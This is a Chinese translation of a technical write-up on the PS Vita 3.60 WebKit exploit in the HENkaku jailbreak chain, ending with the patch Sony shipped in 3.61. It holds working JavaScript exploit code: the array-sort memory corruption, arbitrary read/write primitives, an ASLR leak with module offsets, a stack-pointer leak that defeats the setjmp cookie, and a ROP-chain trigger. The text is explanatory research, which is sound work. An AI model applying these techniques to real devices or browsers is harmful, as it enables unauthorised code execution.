来源:Exploiting WebKit on Vita 3.60

原作者:xyzz

译:Holic (知道创宇404安全实验室)

译者注:浏览器作为用户交互较多的应用,漏洞利用点相对多一些,而系统浏览器通常以高权限运行,对封闭的终端设备来说,这就提供了不错的漏洞利用条件。本篇 PSV 的 Writeup 介绍了一个 Webkit 漏洞的利用思路,同理我们可以将思路发散到其他终端设备上,比如之前的 PS4 1.76版本 Webkit 堆溢出漏洞Kindle 的越狱 等...

简介

这是 HENkaku 攻击链系列 Writeup 的开始章节。我会尽量不对 KOTH challenge 进行太多破坏,仅仅记录逆向工程的部分,以阐明大家所错过的细节。然而,在这种情况下,挑战无人问津且毫无进展。不管怎样,我将会发布 writeup,既然我已经写了,让它烂在我的repo里面会是一种浪费。

The PoC

我们选择的能在用户模式执行代码的目标便是 WebKit。Webkit 拥有 JavaScript 引擎,当我们需要绕过 ASLR 时,它对我们很有用。PS Vita 上的 Web 浏览器也不需要登录 PSN,不会自动更新,允许实现非常简单的攻击利用链(访问网站按下按钮)。完美。

和没有 ASLR 的 3DS 不同,Vita WebKit 有一个可接受的熵值为9 bits 的 ASLR,这就使暴力破解攻击变得非常痛苦(平均需要重新加载 512 次来触发漏洞,好怕!)。因此,我们需要一个比通用 UAF(释放后重用) + vptr(虚函数表指针) 覆写更好的漏洞。

感谢某些人,我设法得到了一个漂亮的 PoC 脚本,可以在最新的固件上造成 Vita 的浏览器崩溃。它不存在于 WebKit bugzilla/repo 的任何地方(或许在限制部分)。

那么作为开始的便是此脚本:

var almost_oversize = 0x3000;  
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));  
var o = {};  
o.toString = function () { foo.push(12345); return ""; }  
foo[0] = 1;  
foo[1] = 0;  
foo[2] = o;  
foo.sort();

如果你在使用 Sony 的 Webkit 的 Linux 主机上运行它,你将看到发生段错误。让我们在调试器里面看看:

Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.  
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152  
152            m_value = JSValue::encode(value);  
(gdb) bt
#0  0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1  0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2  0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
    at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3  0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4  0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
    at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5  0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697

<the rest does not matter>  

原来她在执行 Javascript Array.sort 函数的时候会遇到未映射的内存。但是这到底发生了什么?

The bug

让我们看看 JSArray::sort 方法(Source/JavaScriptCore/runtime/JSArray.cpp)。因为我们的数组是 ArrayWithContiguous类型是由它如何创建决定的:Array.prototype.constructor.apply(null, new Array(almost_oversize));,我们进入sortCompactedVector 函数。这是它的完整定义:

template<IndexingType indexingType, typename StorageType>  
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)  
{
    if (!relevantLength)
        return;

    VM& vm = exec->vm();

    // Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.
    // This is a considerable improvement over doing it twice per comparison, though it requires a large temporary
    // buffer. Besides, this protects us from crashing if some objects have custom toString methods that return
    // random or otherwise changing results, effectively making compare function inconsistent.

    Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
    if (!values.begin()) {
        throwOutOfMemoryError(exec);
        return;
    }

    Heap::heap(this)->pushTempSortVector(&values);

    bool isSortingPrimitiveValues = true;

    for (size_t i = 0; i < relevantLength; i++) {
        JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i);
        ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
        ASSERT(!value.isUndefined());
        values[i].first = value;
        if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
            isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive();
    }

    // FIXME: The following loop continues to call toString on subsequent values even after
    // a toString call raises an exception.

    for (size_t i = 0; i < relevantLength; i++)
        values[i].second = values[i].first.toWTFStringInline(exec);

    if (exec->hadException()) {
        Heap::heap(this)->popTempSortVector(&values);
        return;
    }

    // FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather
    // than O(N log N).

#if HAVE(MERGESORT)
    if (isSortingPrimitiveValues)
        qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
    else
        mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#else
    // FIXME: The qsort library function is likely to not be a stable sort.
    // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
    qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#endif

    // If the toString function changed the length of the array or vector storage,
    // increase the length to handle the orignal number of actual values.
    switch (indexingType) {
    case ArrayWithInt32:
    case ArrayWithDouble:
    case ArrayWithContiguous:
        ensureLength(vm, relevantLength);
        break;

    case ArrayWithArrayStorage:
        if (arrayStorage()->vectorLength() < relevantLength) {
            increaseVectorLength(exec->vm(), relevantLength);
            ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector());
        }
        if (arrayStorage()->length() < relevantLength)
            arrayStorage()->setLength(relevantLength);
        break;

    default:
        CRASH();
    }

    for (size_t i = 0; i < relevantLength; i++)
        ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);

    Heap::heap(this)->popTempSortVector(&values);
}

此函数从 JS 数组中取值,将它们放入一个临时向量中,对向量进行排序,然后将值放回 JS 数组。

在第 37 行,for 循环中,对于每一个元素,它的toString方法被调。当它被我们的对象 o 调用时,便是接下来发生的:

function () {  
    foo.push(12345);
    return "";
}

一个整数被 push 进正在排序的数组。这导致了数组元素被重新分配。在81行,被排序的元素被写回数组,然而,data指针从不用新分配的值进行更新

图例说明:

灰色的区域是空闲/未分配的内存。在 Linux 上,实际是在调用 realloc 后取消映射。同时,data仍然指向旧的内存区域。因此,Web 浏览器试图向未映射的内存写入,产生段错误。

Out-of-bounds RW

越界读写

根据内容,JSArray 对象可能在内存中以不同的方式存储。然而,我们正在操作的,是作为元数据头(metadata header)(黄色部分)加上数组内容(绿色部分)连续存储的。

内容只是一个JSValue结构的向量。

union EncodedValueDescriptor {  
    int64_t asInt64;
    double asDouble;
    struct {
        int32_t payload;
        int32_t tag;
    } asBits;
};

The metadata header stores two interesting fields:

uint32_t m_publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length).  
uint32_t m_vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.  

我们的目标是覆盖它们,并将数组“扩展”超出实际分配的范围。

为了实现这一点,我们来修改o.toString方法:

var normal_length = 0x800;  
var fu = new Array(normal_length);  
var arrays = new Array(0x100);  
o.toString = function () {  
    foo.push(12345);
    for (var i = 0; i < arrays.length; ++i) {
        var bar = Array.prototype.constructor.apply(null, fu);
        bar[0] = 0;
        bar[1] = 1;
        bar[2] = 2;
        arrays[i] = bar;
    }
    return "";
}

如果我们运气好的话,这便是所发生的:

在此例中(不反映真实数组大小),当使用data指针写回排序值的时候,第二条和第三条 bar的 metadata headers 将被覆盖。

我们用什么覆盖它们?记住,绿色的区域是 JSValue 对象的向量。每一个 JSValue对象都是 8 字节的。但是,如果我们使用比如 0x8000000 的数据填充 foo ,我们只能控制 4 字节,其余的是用于tag 的。tag 是什么?

enum { Int32Tag =        0xffffffff };  
enum { BooleanTag =      0xfffffffe };  
enum { NullTag =         0xfffffffd };  
enum { UndefinedTag =    0xfffffffc };  
enum { CellTag =         0xfffffffb };  
enum { EmptyValueTag =   0xfffffffa };  
enum { DeletedValueTag = 0xfffffff9 };

enum { LowestTag =  DeletedValueTag };  

这就是 Webkit JavaScriptCore 如何将不同的类型打包成单个JSValue 结构的:它可以是int,boolean,cell(指向一个对象的指针),null,undefined 或者 double 类型。因此如果我们 写入54321,我们只能控制一半的结构,而另一半被设置成 Int32Tag 或者 0xffffffff

但是,我们也可以写入double类型的值,比如54321.0。我们用这种方法控制所有 8 字节,但是还有其他限制(一些浮点指针规范化并不允许写入真正的任意值。否则,你将能够制作CellTag并将指针设置成任意值,这是很可怕的。有趣的是,在它确实允许之前,这是第一个Vita WebKit exploit使用过的!CVE-2010-1807)。

因此,我们还是写入 double 类型的值吧。

foo[0] = o;  
var len = u2d(0x80000000, 0x80000000);  
for (var i = 1; i < 0x2000; ++i)  
    foo[i] = len;
foo.sort();  

u2d/d2u 是个在intdouble之间转换的小助手:

var _dview = null;  
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)  
{
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setUint32(0,hi);
    _dview.setUint32(4,low);
    return _dview.getFloat64(0);    
}

function d2u(d)  
{
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setFloat64(0,d);
    return { low: _dview.getUint32(4), 
             hi:  _dview.getUint32(0) };    
}

那么,如果我们现在查看arrays 我们将会发现 JSArray 对象扩展超出了它们的真正边界,而且它们的长度设置成了 0x8000000

因垂死听,这成功破坏了 Vita 上的 JSArray 对象,但是 Linux 上的崩溃触发了一个保护页。但这并不重要,因为我们攻击 Vita 而不是 Linux。

现在当我们向一个损坏的bar对象写入的时候,我们可以实现一个越界任意读写,这很棒!但让我们升级到一个真正的任意读写吧。

聪明的读者可能会注意到,由于 Vita 是一个 32 位的终端, 我们将长度设置为 0x8000000 ,每个JSValue 是 8 字节的,我们实际上已经有了任意读写的能力了。然而,我们仍然在从原始的bar 向量基写到偏移处,至今仍未泄漏任何堆的地址。此外,我们只能写double类型的值,这超级不方便。

Arbitrary RW

为了获得任意读写能力,我使用了与 2.00-3.20 WebKit 漏洞利用相同的技巧,详情点此

Spray buffers:

buffers = new Array(spray_size);  
buffer_len = 0x1344;  
for (var i = 0; i < buffers.length; ++i)  
    buffers[i] = new Uint32Array(buffer_len / 4);

在内存中查找 Uint32Array buffer,在损坏的缓冲区之前(此处称为arr)的某个任意偏移开始进行搜索。

var start = 0x20000000-0x11000;  
for(;; start--) {  
    if (arr[start] != 0) {
        _dview.setFloat64(0, arr[start]);
        if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array
            _dview.setUint32(0, 0xEFFFFFE0);
            arr[start] = _dview.getFloat64(0); // change buffer size

            _dview.setFloat64(0, arr[start-2]);
            heap_addr = _dview.getUint32(4); // leak some heap address
            _dview.setUint32(4, 0)
            _dview.setUint32(0, 0x80000000);
            arr[start-2] = _dview.getFloat64(0); // change buffer offset
            break;
        }
    }
}

查找损坏的 Uint32Array

corrupted = null;  
for (var i = 0; i < buffers.length; ++i) {  
    if (buffers[i].byteLength != buffer_len) {
        corrupted = buffers[i];
        break;
    }
}
var u32 = corrupted;  

既然我们有了真正的任意读写,而且已经泄漏了一些堆地址,接下来便是:

Code execution

使用 textarea 对象的旧技巧这里再次使用(为什么发明新轮子?)首先,修改原来的Uint32Array 堆喷射交织至textarea对象。

spray_size = 0x4000;

textareas = new Array(spray_size);  
buffers = new Array(spray_size);  
buffer_len = 0x1344;  
textarea_cookie = 0x66656463;  
textarea_cookie2 = 0x55555555;  
for (var i = 0; i < buffers.length; ++i) {  
    buffers[i] = new Uint32Array(buffer_len / 4);
    var e = document.createElement("textarea");
    e.rows = textarea_cookie;
    textareas[i] = e;
}

使用损坏的Uint32Array 对象,在内存中找到textarea

var some_space = heap_addr;  
search_start = heap_addr;

for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) {  
    if (u32[addr] == textarea_cookie) {
        u32[addr] = textarea_cookie2;
        textarea_addr = addr * 4;
        break;
    }
}

/*
    Change the rows of the Element object then scan the array of
    sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;  
var corrupted_textarea;  
for (var i = 0; i < textareas.length; ++i) {  
    if (textareas[i].rows == textarea_cookie2) {
        corrupted_textarea = textareas[i];
        break;
    }
}

现在我们有两个“视图”到同一个textarea:我们可以使用我们的u32对象在内存中直接修改它,我们还可以从 JavaScript 中调用它的函数。所以关键思路是通过我们的“内存访问”覆盖 vptr ,然后通过 JavaScript 调用修改的函数表。

Mitigation 1: ASLR

记住,Vita 有 ASLR , 这就是为什么我们为何不得不复杂化这么多漏洞利用方法。但是利用任意读写的方法,我们可以泄漏textarea vptr 并且完全击败 ASLR;

function read_mov_r12(addr) {  
    first = u32[addr/4];
    second = u32[addr/4 + 1];
    return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
}

var vtidx = textarea_addr - 0x70;  
var textareavptr = u32[vtidx / 4];

SceWebKit_base = textareavptr - 0xabb65c;  
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;  
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;  
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;  
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;  
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;  
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;  
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;  
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;  

我们谈谈代码执行吧。在 Vita 上没有 JIT ,也不可能分配 RWX 内存(只允许来自 PlayStation 的 Mobile App)。因此我们必须在 ROP 中写整个 payload 。

之前的 exploit 使用了一个叫做 JSoS 的技术,点此查看详情。然而,浏览器在破坏 JSArray 之后变得实在是不稳定,所以我们向尽可能少的运行 JavaScript 代码。

因此,新版本的 roptoolDavee 编写,支持 ASLR。这里的基本思想是 roptool 输出中有一些字(一个 word 4 字节)现在具有分配给它们的重定位信息。在重定位 payload 之后,这只是向这些字添加不同的base(SceWebKit_base/SceLibc_base /等),我们可以正常启动生成的 ROP 链。

Mitigation 2: Stack-pivot protection

由于固件版本未知,现在有了额外的漏洞缓解实施方案:有时内核将检测你的线程栈指针实际是在其堆栈内的。如果不是的话,整个程序将被杀死。

为了绕过这个情况,我们需要将我们的 ROP 链植入线程堆栈。为了做到这点,我们需要线程栈虚地址。因为ASLR的存在,我们并不知道此地址。

然而我们有内存任意读写。有大量方法泄漏栈指针。我使用 setjmp函数。

这便是我们如何调用它的:

// copy vtable
for (var i = 0; i < 0x40; i++)  
    u32[some_space / 4 + i] = u32[textareavptr / 4 + i];

u32[vtidx / 4] = some_space;

// backup our obj
for (var i = 0; i < 0x30; ++i)  
    backup[i] = u32[vtidx/4 + i];

// call setjmp and leak stack base
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp  
corrupted_textarea.scrollLeft = 0; // call setjmp

现在我们的 corrupted_textarea 在内存中被 jmp_buf 覆盖,此处包含堆栈指针。然后,我们回复如下原始数据。这是为了在我们试图对损坏的 textarea 对象做一些事情的时候,JavaScript 不会使浏览器崩溃。

// restore our obj
for (var i = 0; i < 0x30; ++i)  
    u32[vtidx/4 + i] = backup[i];

不幸的是,如果我们看到在 SceLibcsetjmp 的实现,我们得到另一个漏洞利用缓解方案。

ROM:81114070 setjmp  
ROM:81114070                 PUSH            {R0,LR}  
ROM:81114072                 BL              sub_81103DF2 // Returns high-quality random cookie  
ROM:81114076                 POP             {R1,R2}  
ROM:81114078                 MOV             LR, R2  
ROM:8111407A                 MOV             R3, SP  
ROM:8111407C                 STMIA.W         R1!, {R4-R11}  
ROM:81114080                 EORS            R2, R0 // LR is XOR'ed with a cookie  
ROM:81114082                 EORS            R0, R3 // SP is XOR'ed with the same cookie  
ROM:81114084                 STMIA           R1!, {R0,R2}  
ROM:81114086                 VSTMIA          R1!, {D8-D15}  
ROM:8111408A                 VMRS            R2, FPSCR  
ROM:8111408E                 STMIA           R1!, {R2}  
ROM:81114090                 MOV.W           R0, #0  
ROM:81114094                 BX              LR  

基本上:

stored_LR = LR ^ cookie  
stored_SP = SP ^ cookie  

你能看明白这是怎么回事吗?我们已经知道 SceWebKit_base,所以我们知道LR的真正价值。使用离散代数魔法:

cookie = stored_LR ^ LR  
SP = stored_SP ^ cookie  
SP = stored_SP ^ (stored_LR ^ LR)  

或者在 JavaScript 中:

sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;  
sp -= 0xef818; // adjust to get SP base  

现在我们可以将我们的 ROP payload 写入线程栈并转向它,而不会停止应用程序!

Finally, Code Execution

首先,我们重定位 ROP payload。记住我们如何获得 payload 和 relocs。如果你看到 payload.js ,这将是你所看到的:

payload = [2119192402,65537,0,0,1912    // and it goes on...  
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,  // ...  

relocs 数组中的每个数字表示了 payload 成员应该如何重定位的。例如,0 表示不进行重定位,1 表示添加 rop_data_base,2 表示 添加 SceWebKit_base,3 表示添加SceLibKernel_base 等...

使用 roptool 生成的 ROP 链有两个部分:代码和数据。代码只是 ROP 堆栈,数据是字符串或缓冲区。rop_data_base 是数据的 vaddr, rop_code_base 是代码的 vaddr)

下一个循环将 payload 直接重定位到线程堆栈中:

// relocate the payload
rop_data_base = sp + 0x40;  
rop_code_base = sp + 0x10000;

addr = sp / 4;  
// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate
// this behavior here. However, we split it into data section (placed at the top of the stack)
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {  
    if (i == rop_header_and_data_size)
        addr = rop_code_base / 4;

    switch (relocs[i]) {
    case 0:
        u32[addr] = payload[i];
        break
    case 1:
        u32[addr] = payload[i] + rop_data_base;
        break;
    /*
        skipped most relocs
    */
    default:
        alert("wtf?");
        alert(i + " " + relocs[i]);
    }
}

在这个循环中,我们将有效 payload 分成两个部分:代码段和和数据段。我们不希望代码接触到数据,因为如果它们靠的太近,并且代码在数据之后(这是 roptool 生成的 ROP 链的情况),当调用函数时,它可能会损坏一部分数据段(记着栈增长的方向,这是 ROP 链所沿着的方向)。

因此一旦我们完成重定位数据段:if (i == rop_header_and_data_size) ,我们转向重定位代码段:addr = rop_code_base / 4.

图片的左边是 ROP 链存储在 payload 数组中的样子。右边展示了 ROP 链是如何写入栈中的。

最后,我们来触发 ROP 链吧。

// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8;

var ldm_data = some_space + 0x100;  
u32[ldm_data/4 + 5] = rop_code_base;              // sp  
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc}

// This alert() is used to distinguish between the webkit exploit fail
// and second stage exploit fail
// - If you don't see it, the webkit exploit failed
// - If you see it and then the browser crashes, the second stage failed
alert("Welcome to HENkaku!");

corrupted_textarea.scrollLeft = ldm_data;         // trigger ropchain, r1=arg

// You won't see this alert() unless something went terribly wrong
alert("that's it");  

corrupted_textarea.scrollLeft = ldm_data 完成时,由于覆盖了 vtable ,我们的 LDM gadget 将会被调用。R1 会变成 ldm_data ,因此它将从缓冲区加载 SP = rop_code_basePC = pop {pc} ,这将会启动 ROP 链。

Bonus: How Sony patched it

索尼按照 LGPL 的要求定期上传他们的 Webkit 新源码到此页面。(若是他们没有这么做,这种情况他们需要通过邮件要求一个友好的戳印)

将 3.60 和 3.61 版本之间的源码进行比较,将会发现以下内容(已省略无用的东西):

diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp  
1087,1096c1087,1123  
-     }
- };
- 
- 
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
- {
-     if (!relevantLength)
-         return;
-     
---
+     }
+ };
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguousInt32();
+ }
+ 
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+     return m_butterfly->contiguousDouble();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguous();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >()
+ {
+     ArrayStorage* storage = m_butterfly->arrayStorage();
+     ASSERT(!storage->m_sparseMap);
+     return storage->vector();
+ }
+ 
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
+ {
+     data = storage<indexingType, StorageType>();
+ 
+     if (!relevantLength)
+         return;
+     
1167,1172c1194,1200  
-         CRASH();
-     }
- 
-     for (size_t i = 0; i < relevantLength; i++)
-         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
-     
---
+         CRASH();
+     }
+ 
+     data = storage<indexingType, StorageType>();
+     for (size_t i = 0; i < relevantLength; i++)
+         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
+   

他们现在在更新data 指针之前写入值。所以即使数组被重新分配,它仍然写入正确的内存。如果你尝试在在 3.61 版本上运行 HENkaku,这就是造成alert("restart the browser")错误的原因。干的漂亮,Sony!

Conclusion

今天就这些!我希望你能喜欢这个 writeup,就像我讨厌写 exploit 一样。此后,在几个月/年/世纪,我会带给你一些更好的 writeup ,尽请期待。因为我写了大部分的 HENkaku exploit 链,我被禁止参加 KOTH challenge :(,但至少你可以享受这篇writeup :)。